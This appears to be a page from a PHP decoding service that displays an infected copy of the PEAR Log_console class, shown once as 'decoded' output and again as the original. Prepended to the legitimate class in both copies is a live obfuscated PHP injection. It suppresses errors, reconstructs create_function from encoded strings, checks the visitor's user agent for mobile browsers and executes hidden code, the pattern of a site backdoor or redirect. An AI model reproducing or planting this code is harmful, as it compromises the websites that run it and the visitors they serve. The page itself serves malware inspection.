Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $vdvllx = 'a = implode(array_map("uritxlt",str_split("%tj!~!<**qp%!-uyfu%)3of)fepdof..
Decoded Output download
<?php $vdvllx = 'a = implode(array_map("uritxlt",str_split("%tj!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x24- x24 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x24- x x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)f7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&)7gj:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*5 x66 157 x78"))) { $oeucjjl = e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8164 x69 157 x6e"; function ur,*j%-#1]#-bubE{h%)tpqsut>j%!y>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4pd%6<C x27pd%6|6.7eu{66~67<&w6<*&%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)eubz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#r_reporting(0); $eptzuj74 141 x72 164") && (!isset($GLOBALS[" x61 10*?]+^?]_ x5c}X x24<!%tmw#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31])1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gpT-%bT-%hW~%fdy)##-!#~<%h00#81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<CwW~!%t2w)##Qtjw)#]82#-mvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyx7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#[k>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bs]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-w!>!#]y84]275]y83]248]y83]256]y%eN+#Qi x5c1^W%c!>!%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rx" x63 162 x65 141 x74 145 x5f 146 x75 156 x63 id%)ftpmdR6<*id%)dfy120 x5f 125 x53 105 x52 137 x41 107 x45 116 x54"]); if 6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&6%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#3sbz)#P#-#Q#-#B#-#T#-#6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7fmjix6<C x27y]562]38y]572]48y]#>m%:|:*r%:-t%)3of:op!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`]86]y31]278]y3f]51L3]84]y3s)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5c%*9! x27!hmg%)!gj!~<ofmy%,3,j%>B%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>>odujpo! x24- x24y7 xsvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;judovg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!%ffubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*s-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h7UFH# x27rfs%6~6< x7fw6<*K)foopdXA x22)7gj6<*QDU`MPT7-NBFSUf!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#x7f!|!*uyfu x27k:!ftmf!v%6<C>^#zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x27{ftmfhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bb#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#)sfebif((function_exists(" x6f 142 x5f 163 xt)esp>hmg%!<12>j%!|!*#91y]c9y]gj%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2sqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mpmpusut!-#j0#!/!**#sfmcnbs+yfeo1M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9)% x24- x24*<!~! x24/%t2w/ j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5c^>Ew>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#ovg!|!**#j{hnpd#)tutjyf`opjudovg x<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W56 x75 156 x61"])))) { $GLOBALS[" x61 156)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_; x75 156 x61"]=1; $uas=strtolower($_SERVER[" x48 124 x54 4y4 x24- x24]y8 x24- x24]26 x24- x24<%j,,*!| x24- x24gvE#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;52]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttf27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#24-tusqpt)%z-#:#* x24- x24!>! x24/%tjw/ x24)% x24- x2U,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* %>U<#16,47R57,27R66,#/q%>2q%<2!>!bssbz) x24]25 x24- x24-!% x24- x24*!|!((strstr($uas," x6d 163 x69 145")) or (stQIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`S2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudosvufs:~:<*9-1-r%)s%>/h%:<**#57]38y!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]25231")) or (strstr($uas," x61 156 x64 162 x6f 151 x64")) or (strstr($uas," x63 150]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yfR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJ!<*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*3qj%7> x22!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`op278]y3e]81]K78:56985:6197g:74985-rr.934]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]4]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:pd%6<pd%w6Z6<.2`hA x2724- x24*<! x24- x24gps)%j>1<%j=tj{fpgtpmdXA6|7**197-2qj%7-K)udf}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]36tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53FTV`QUUI&b%!|!*)323zbek!~!<b% x7sq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gjj+{e%!osvufs!*!+A!>!!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvj%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|nbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-b7&6<*rfs%7-K)fujsxX6<#ou%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt x72 157 x6d 145")) or (strstr($uas," x66 151 x72 1472]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]6-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)#*<!sfuvso!sboepn)%epnbsrstr($uas," x72 166 x3a 61 x33bq}k;opjudovg}x;0]=])0#)U! x27{*****f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%f`4 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!g]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%, $eptzuja); $sfhgldf();}}]47]67y]37]88y]27]28y]#/r%/h%)nqp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%V x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/qfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;oopo#>b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk x24#-!#]y38#-!%w:**<")));$sfhgldf = $oeucjjl(""}#)fepmqnj!/!#0#)idubn`hfitxlt($n){return chr(ord($n)-1);} @erroStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSwrpbsxqcv'; $rmaptqysor=explode(chr((425-305)),substr($vdvllx,(35046-29026),(156-122))); $vbglwe = $rmaptqysor[0]($rmaptqysor[(5-4)]); $hwbgeod = $rmaptqysor[0]($rmaptqysor[(10-8)]); if (!function_exists('yefotfggl')) { function yefotfggl($yivfyurb, $cjqxim,$kqkyvfrsq) { $rtpllug = NULL; for($nurqobuw=0;$nurqobuw<(sizeof($yivfyurb)/2);$nurqobuw++) { $rtpllug .= substr($cjqxim, $yivfyurb[($nurqobuw*2)],$yivfyurb[($nurqobuw*2)+(6-5)]); } return $kqkyvfrsq(chr((40-31)),chr((635-543)),$rtpllug); }; } $cggakipven = explode(chr((228-184)),'2652,39,721,44,3114,41,3201,57,1338,55,3792,41,5364,28,4028,43,4071,37,5187,52,372,31,1272,46,458,29,5981,39,698,23,0,46,1180,31,905,47,1393,63,4474,22,551,33,197,51,1605,61,5108,23,3466,38,2250,28,4533,26,2278,31,4234,44,143,54,4991,62,2363,64,3569,37,1456,59,302,70,1318,20,4142,36,3659,62,1012,67,3351,52,5695,48,3155,46,1992,36,4278,39,5053,55,2146,64,2722,47,487,28,1859,30,4941,50,4889,52,2691,31,3887,53,3033,34,4621,40,584,70,2492,47,5427,64,4178,56,2809,31,654,44,5956,25,4815,54,1706,61,3833,54,4783,32,2309,31,5864,44,46,35,2340,23,4559,62,5637,58,3504,65,2769,40,973,39,5491,48,4869,20,2427,65,5743,69,3721,29,2600,52,5812,52,2048,45,5392,35,5131,56,765,25,3975,53,4405,69,3940,35,5606,31,1515,69,5239,56,1666,40,2093,53,3750,42,81,62,3606,53,3258,55,2028,20,4496,37,2904,27,1952,40,3067,47,1211,61,1889,63,5341,23,2210,40,2970,63,952,21,790,42,4317,38,403,55,1767,26,2840,64,4108,34,515,36,5539,41,4719,64,2539,61,878,27,4661,58,4355,50,3403,63,1130,50,832,46,1793,66,2931,39,248,54,1079,51,1584,21,3313,38,5295,46,5908,48,5580,26'); $moslyqc = $vbglwe("",yefotfggl($cggakipven,$vdvllx,$hwbgeod)); $vbglwe=$vdvllx; $moslyqc(""); $moslyqc=(434-313); $vdvllx=$moslyqc-1; ?><?php
/**
* $Header$
*
* @version $Revision: 224513 $
* @package Log
*/
/**
* The Log_console class is a concrete implementation of the Log::
* abstract class which writes message to the text console.
*
* @author Jon Parise <[email protected]>
* @since Log 1.1
* @package Log
*
* @example console.php Using the console handler.
*/
class Log_console extends Log
{
/**
* Handle to the current output stream.
* @var resource
* @access private
*/
var $_stream = STDOUT;
/**
* Should the output be buffered or displayed immediately?
* @var string
* @access private
*/
var $_buffering = false;
/**
* String holding the buffered output.
* @var string
* @access private
*/
var $_buffer = '';
/**
* String containing the format of a log line.
* @var string
* @access private
*/
var $_lineFormat = '%1$s %2$s [%3$s] %4$s';
/**
* String containing the timestamp format. It will be passed directly to
* strftime(). Note that the timestamp string will generated using the
* current locale.
* @var string
* @access private
*/
var $_timeFormat = '%b %d %H:%M:%S';
/**
* Constructs a new Log_console object.
*
* @param string $name Ignored.
* @param string $ident The identity string.
* @param array $conf The configuration array.
* @param int $level Log messages up to and including this level.
* @access public
*/
function Log_console($name, $ident = '', $conf = array(),
$level = PEAR_LOG_DEBUG)
{
$this->_id = md5(microtime());
$this->_ident = $ident;
$this->_mask = Log::UPTO($level);
if (!empty($conf['stream'])) {
$this->_stream = $conf['stream'];
}
if (isset($conf['buffering'])) {
$this->_buffering = $conf['buffering'];
}
if (!empty($conf['lineFormat'])) {
$this->_lineFormat = str_replace(array_keys($this->_formatMap),
array_values($this->_formatMap),
$conf['lineFormat']);
}
if (!empty($conf['timeFormat'])) {
$this->_timeFormat = $conf['timeFormat'];
}
/*
* If output buffering has been requested, we need to register a
* shutdown function that will dump the buffer upon termination.
*/
if ($this->_buffering) {
register_shutdown_function(array(&$this, '_Log_console'));
}
}
/**
* Destructor
*/
function _Log_console()
{
$this->close();
}
/**
* Open the output stream.
*
* @access public
* @since Log 1.9.7
*/
function open()
{
$this->_opened = true;
return true;
}
/**
* Closes the output stream.
*
* This results in a call to flush().
*
* @access public
* @since Log 1.9.0
*/
function close()
{
$this->flush();
$this->_opened = false;
return true;
}
/**
* Flushes all pending ("buffered") data to the output stream.
*
* @access public
* @since Log 1.8.2
*/
function flush()
{
/*
* If output buffering is enabled, dump the contents of the buffer to
* the output stream.
*/
if ($this->_buffering && (strlen($this->_buffer) > 0)) {
fwrite($this->_stream, $this->_buffer);
$this->_buffer = '';
}
if (is_resource($this->_stream)) {
return fflush($this->_stream);
}
return false;
}
/**
* Writes $message to the text console. Also, passes the message
* along to any Log_observer instances that are observing this Log.
*
* @param mixed $message String or object containing the message to log.
* @param string $priority The priority of the message. Valid
* values are: PEAR_LOG_EMERG, PEAR_LOG_ALERT,
* PEAR_LOG_CRIT, PEAR_LOG_ERR, PEAR_LOG_WARNING,
* PEAR_LOG_NOTICE, PEAR_LOG_INFO, and PEAR_LOG_DEBUG.
* @return boolean True on success or false on failure.
* @access public
*/
function log($message, $priority = null)
{
/* If a priority hasn't been specified, use the default value. */
if ($priority === null) {
$priority = $this->_priority;
}
/* Abort early if the priority is above the maximum logging level. */
if (!$this->_isMasked($priority)) {
return false;
}
/* Extract the string representation of the message. */
$message = $this->_extractMessage($message);
/* Build the string containing the complete log line. */
$line = $this->_format($this->_lineFormat,
strftime($this->_timeFormat),
$priority, $message) . "
";
/*
* If buffering is enabled, append this line to the output buffer.
* Otherwise, print the line to the output stream immediately.
*/
if ($this->_buffering) {
$this->_buffer .= $line;
} else {
fwrite($this->_stream, $line);
}
/* Notify observers about this log message. */
$this->_announce(array('priority' => $priority, 'message' => $message));
return true;
}
}
?>
Did this file decode correctly?
Original Code
<?php $vdvllx = 'a = implode(array_map("uritxlt",str_split("%tj!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x24- x24 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x24- x x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)f7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&)7gj:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*5 x66 157 x78"))) { $oeucjjl = e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8164 x69 157 x6e"; function ur,*j%-#1]#-bubE{h%)tpqsut>j%!y>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4pd%6<C x27pd%6|6.7eu{66~67<&w6<*&%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)eubz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#r_reporting(0); $eptzuj74 141 x72 164") && (!isset($GLOBALS[" x61 10*?]+^?]_ x5c}X x24<!%tmw#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31])1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gpT-%bT-%hW~%fdy)##-!#~<%h00#81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<CwW~!%t2w)##Qtjw)#]82#-mvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyx7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#[k>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bs]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-w!>!#]y84]275]y83]248]y83]256]y%eN+#Qi x5c1^W%c!>!%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rx" x63 162 x65 141 x74 145 x5f 146 x75 156 x63 id%)ftpmdR6<*id%)dfy120 x5f 125 x53 105 x52 137 x41 107 x45 116 x54"]); if 6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&6%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#3sbz)#P#-#Q#-#B#-#T#-#6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7fmjix6<C x27y]562]38y]572]48y]#>m%:|:*r%:-t%)3of:op!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`]86]y31]278]y3f]51L3]84]y3s)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5c%*9! x27!hmg%)!gj!~<ofmy%,3,j%>B%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>>odujpo! x24- x24y7 xsvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;judovg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!%ffubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*s-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h7UFH# x27rfs%6~6< x7fw6<*K)foopdXA x22)7gj6<*QDU`MPT7-NBFSUf!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#x7f!|!*uyfu x27k:!ftmf!v%6<C>^#zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x27{ftmfhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bb#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#)sfebif((function_exists(" x6f 142 x5f 163 xt)esp>hmg%!<12>j%!|!*#91y]c9y]gj%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2sqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mpmpusut!-#j0#!/!**#sfmcnbs+yfeo1M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9)% x24- x24*<!~! x24/%t2w/ j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5c^>Ew>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#ovg!|!**#j{hnpd#)tutjyf`opjudovg x<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W56 x75 156 x61"])))) { $GLOBALS[" x61 156)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_; x75 156 x61"]=1; $uas=strtolower($_SERVER[" x48 124 x54 4y4 x24- x24]y8 x24- x24]26 x24- x24<%j,,*!| x24- x24gvE#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;52]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttf27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#24-tusqpt)%z-#:#* x24- x24!>! x24/%tjw/ x24)% x24- x2U,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* %>U<#16,47R57,27R66,#/q%>2q%<2!>!bssbz) x24]25 x24- x24-!% x24- x24*!|!((strstr($uas," x6d 163 x69 145")) or (stQIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`S2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudosvufs:~:<*9-1-r%)s%>/h%:<**#57]38y!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]25231")) or (strstr($uas," x61 156 x64 162 x6f 151 x64")) or (strstr($uas," x63 150]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yfR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJ!<*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*3qj%7> x22!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`op278]y3e]81]K78:56985:6197g:74985-rr.934]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]4]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:pd%6<pd%w6Z6<.2`hA x2724- x24*<! x24- x24gps)%j>1<%j=tj{fpgtpmdXA6|7**197-2qj%7-K)udf}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]36tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53FTV`QUUI&b%!|!*)323zbek!~!<b% x7sq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gjj+{e%!osvufs!*!+A!>!!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvj%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|nbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-b7&6<*rfs%7-K)fujsxX6<#ou%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt x72 157 x6d 145")) or (strstr($uas," x66 151 x72 1472]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]6-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)#*<!sfuvso!sboepn)%epnbsrstr($uas," x72 166 x3a 61 x33bq}k;opjudovg}x;0]=])0#)U! x27{*****f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%f`4 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!g]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%, $eptzuja); $sfhgldf();}}]47]67y]37]88y]27]28y]#/r%/h%)nqp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%V x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/qfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;oopo#>b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk x24#-!#]y38#-!%w:**<")));$sfhgldf = $oeucjjl(""}#)fepmqnj!/!#0#)idubn`hfitxlt($n){return chr(ord($n)-1);} @erroStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSwrpbsxqcv'; $rmaptqysor=explode(chr((425-305)),substr($vdvllx,(35046-29026),(156-122))); $vbglwe = $rmaptqysor[0]($rmaptqysor[(5-4)]); $hwbgeod = $rmaptqysor[0]($rmaptqysor[(10-8)]); if (!function_exists('yefotfggl')) { function yefotfggl($yivfyurb, $cjqxim,$kqkyvfrsq) { $rtpllug = NULL; for($nurqobuw=0;$nurqobuw<(sizeof($yivfyurb)/2);$nurqobuw++) { $rtpllug .= substr($cjqxim, $yivfyurb[($nurqobuw*2)],$yivfyurb[($nurqobuw*2)+(6-5)]); } return $kqkyvfrsq(chr((40-31)),chr((635-543)),$rtpllug); }; } $cggakipven = explode(chr((228-184)),'2652,39,721,44,3114,41,3201,57,1338,55,3792,41,5364,28,4028,43,4071,37,5187,52,372,31,1272,46,458,29,5981,39,698,23,0,46,1180,31,905,47,1393,63,4474,22,551,33,197,51,1605,61,5108,23,3466,38,2250,28,4533,26,2278,31,4234,44,143,54,4991,62,2363,64,3569,37,1456,59,302,70,1318,20,4142,36,3659,62,1012,67,3351,52,5695,48,3155,46,1992,36,4278,39,5053,55,2146,64,2722,47,487,28,1859,30,4941,50,4889,52,2691,31,3887,53,3033,34,4621,40,584,70,2492,47,5427,64,4178,56,2809,31,654,44,5956,25,4815,54,1706,61,3833,54,4783,32,2309,31,5864,44,46,35,2340,23,4559,62,5637,58,3504,65,2769,40,973,39,5491,48,4869,20,2427,65,5743,69,3721,29,2600,52,5812,52,2048,45,5392,35,5131,56,765,25,3975,53,4405,69,3940,35,5606,31,1515,69,5239,56,1666,40,2093,53,3750,42,81,62,3606,53,3258,55,2028,20,4496,37,2904,27,1952,40,3067,47,1211,61,1889,63,5341,23,2210,40,2970,63,952,21,790,42,4317,38,403,55,1767,26,2840,64,4108,34,515,36,5539,41,4719,64,2539,61,878,27,4661,58,4355,50,3403,63,1130,50,832,46,1793,66,2931,39,248,54,1079,51,1584,21,3313,38,5295,46,5908,48,5580,26'); $moslyqc = $vbglwe("",yefotfggl($cggakipven,$vdvllx,$hwbgeod)); $vbglwe=$vdvllx; $moslyqc(""); $moslyqc=(434-313); $vdvllx=$moslyqc-1; ?><?php
/**
* $Header$
*
* @version $Revision: 224513 $
* @package Log
*/
/**
* The Log_console class is a concrete implementation of the Log::
* abstract class which writes message to the text console.
*
* @author Jon Parise <[email protected]>
* @since Log 1.1
* @package Log
*
* @example console.php Using the console handler.
*/
class Log_console extends Log
{
/**
* Handle to the current output stream.
* @var resource
* @access private
*/
var $_stream = STDOUT;
/**
* Should the output be buffered or displayed immediately?
* @var string
* @access private
*/
var $_buffering = false;
/**
* String holding the buffered output.
* @var string
* @access private
*/
var $_buffer = '';
/**
* String containing the format of a log line.
* @var string
* @access private
*/
var $_lineFormat = '%1$s %2$s [%3$s] %4$s';
/**
* String containing the timestamp format. It will be passed directly to
* strftime(). Note that the timestamp string will generated using the
* current locale.
* @var string
* @access private
*/
var $_timeFormat = '%b %d %H:%M:%S';
/**
* Constructs a new Log_console object.
*
* @param string $name Ignored.
* @param string $ident The identity string.
* @param array $conf The configuration array.
* @param int $level Log messages up to and including this level.
* @access public
*/
function Log_console($name, $ident = '', $conf = array(),
$level = PEAR_LOG_DEBUG)
{
$this->_id = md5(microtime());
$this->_ident = $ident;
$this->_mask = Log::UPTO($level);
if (!empty($conf['stream'])) {
$this->_stream = $conf['stream'];
}
if (isset($conf['buffering'])) {
$this->_buffering = $conf['buffering'];
}
if (!empty($conf['lineFormat'])) {
$this->_lineFormat = str_replace(array_keys($this->_formatMap),
array_values($this->_formatMap),
$conf['lineFormat']);
}
if (!empty($conf['timeFormat'])) {
$this->_timeFormat = $conf['timeFormat'];
}
/*
* If output buffering has been requested, we need to register a
* shutdown function that will dump the buffer upon termination.
*/
